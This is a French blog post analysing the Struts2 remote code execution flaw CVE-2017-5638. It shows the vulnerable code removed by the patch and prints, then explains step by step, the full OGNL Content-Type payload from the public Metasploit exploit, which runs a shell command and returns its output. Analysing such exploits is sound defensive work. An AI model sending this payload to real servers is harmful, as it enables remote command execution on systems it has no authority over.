• BLOG

  • Analyse de la CVE-2017-5638 Struts2 RCE (FR)

    mer. 15 mars 2017 Dan Lousqui

    Share on: Twitter - Facebook - Google+

    Le descriptif de la CVE-2017-5638, ainsi que l'illustration dans un lab de sécurité est décrite dans un billet précédent.

    Le but de ce billet est maintenant d'analyser la vulnérabilité, aussi bien au niveau du code vulnérable, que du fonctionnement de l'exploit.

    Ognl, oh que je t'aime

    En regardant un peu la littérature sur cette vulnérabilité, le langage ognl revient souvent... mais qu'est ce-que l'ognl ?

    Il s'agit d'un langage d'expression permettant de set, de get ou de call des méthodes et attributs d'objet. C'est un peu une sorte de lua, dans son but. Cependant, il ne s'agit pas là de coder des scripts ou plugins, mais de fournir des fonctionnalités de base à un projet Java. C'est notamment intéressant si vous voulez manipuler des chaines de caractères contenant des expressions à évaluer (et de ne pas réinventer la roue).

    Par exemple, si vous voulez créer une application pour configurer un chatbot, ça peut être intéressant de fournir cette fonctionnalité à vos utilisateurs, on pourrait par exemple configurer le message d'accueil du bot ainsi:

    String welcome_message = '%{"Bonjour " + #user.name + ", je suis " + #bot.name}'
    

    Qui sera évalué Bonjour Dan, je suis R2D2

    Oui mais ...

    Sauf que qui dit langage d'expression, dit possibilités d'évasion. Lorsqu'on utilise ce genre de fonctionnalité, il ne faut toujours faire attention à la provenance du code (comme pour du SQL mal géré, qui peut mener à de l'injection).

    C'est ce qui est arrivé à Struts2.

    Si on regarde le contenu du patch de correction de cette CVE, on peut apercevoir la suppression de ces lignes de code (je me suis permis de revoir l'indentation :-) ):

    if (multiWrapper.hasErrors()) {
      for (LocalizedMessage error : multiWrapper.getErrors()) {
        if (validation != null) {
          validation.addActionError(
            LocalizedTextUtil.findText(
              error.getClazz(),
              error.getTextKey(),
              ActionContext.getContext().getLocale(),
              error.getDefaultMessage(),
              error.getArgs()
            )
          );
        }
      }
    }
    

    En dépilant:

    • Ce code est exécuté lorsque une requête est envoyée avec un content-type: multipart/form-data
    • LocalizedTextUtil.findText() (doc) permet de chercher un message localisé (cf. la doc). Si le message est trouvé, tout ce qui est sous la forme ${...} sera évalué comme une expression OGNL (Woot \o/)

    Du coup, il semble possible d'évaluer du code OGNL contenu dans le Content-Type.

    Analyse de l'exploit

    L'exploit est facilement récupérable sur Internet (rapid7/metasploit-framework#8064).

    Quand on analyse le script, il s'agit juste d'envoyer une requête sur l'application avec l'en-tête Content-Type à la valeur :

    %{
      (#_='multipart/form-data').
      (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
      (
        #_memberAccess
        ?
        (#_memberAccess=#dm)
        :
        (
          (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
          (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
          (#ognlUtil.getExcludedPackageNames().clear()).
          (#ognlUtil.getExcludedClasses().clear()).
          (#context.setMemberAccess(#dm))
        )
      ).
      (#cmd='whoami').
      (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
      (#cmds=(
        #iswin
        ?
        {'cmd.exe','/c',#cmd}
        :
        {'/bin/bash','-c',#cmd}
      )).
      (#p=new java.lang.ProcessBuilder(#cmds)).
      (#p.redirectErrorStream(true)).(#process=#p.start()).
      (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
      (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
      (#ros.flush())
    }
    

    On analyse :

    • %{..} permet, comme l'indique la documentation, d'avoir du ognl
    Première partie :
    • (#_='multipart/form-data') initie le content-type à du multi-part
    • @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS d'après la doc., il s'agit d'un wrapper de contexte permettant à ognl d'accéder aux méthodes et attributs de tous les objets Java
    • #_memberAccess on vérifie si la variable est définie
      • (#_memberAccess=#dm) si oui, on la set à l'objet permettant d'avoir les droits complets
      • [...](#context.setMemberAccess(#dm)) sinon, on l'instancie et on la set à l'objet permettant d'avoir les droits complets

    A ce niveau là, on est dans un contexte où il est possible d'exécuter du code Java arbitraire.

    Deuxième partie :
    • (#cmd='whoami') on met dans une variable la commande que l'on souhaite exécuter
    • (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))) on crée une variable permettant d'évaluer si l'OS du serveur est Windows
    • #cmds=([...]) selon l'OS, on utilise cmd.exe ou bash pour générer la commande à lancer
    • (#p=new java.lang.ProcessBuilder(#cmds)) on crée un process avec la commande à lancer
    • (#p.redirectErrorStream(true)).(#process=#p.start()) on démarre le process

    A ce niveau-là, on est dans un contexte où on arrive à exécuter une commande system arbitraire.

    Troisième partie :
    • (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())) on récupère le stream d'écriture de réponse de la requête courante
    • (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)) on copie le flux de sortie de la commande exécutée dans le flux de réponse de la requête courante
    • (#ros.flush()) on flush les flux afin de vider tous les buffers

    Désormais, la sortie de commande exécutée est envoyé dans la réponse à la requête, il est donc possible d'avoir un webshell sur l'application.

    Conclusion

    OGNL, ... je n'avais que vaguement entendu parler de ce langage... Pourtant il se montre bien puissant, et bien dangereux !

    Je ne sais pas à quel point il est utilisé dans le développement d'application web, néanmoins Struts2 reste un framework très rependu. Je pense que cette vulnérabilité n'a pas fini de faire parler d'elle, surtout dans les applications d'entreprise sur les intranets.

    Je pense également qu'il peut être intéressant d'ajouter à tous les outils de fuzzing, scanning, ect. des tests sur le langage OGNL. Après tout... le nombre d'application injectable OGNL vient de dépasser le nombre d'injectable en ldap ou XPath, pourtant ces dernières sont souvent testées ;-)

  • Comments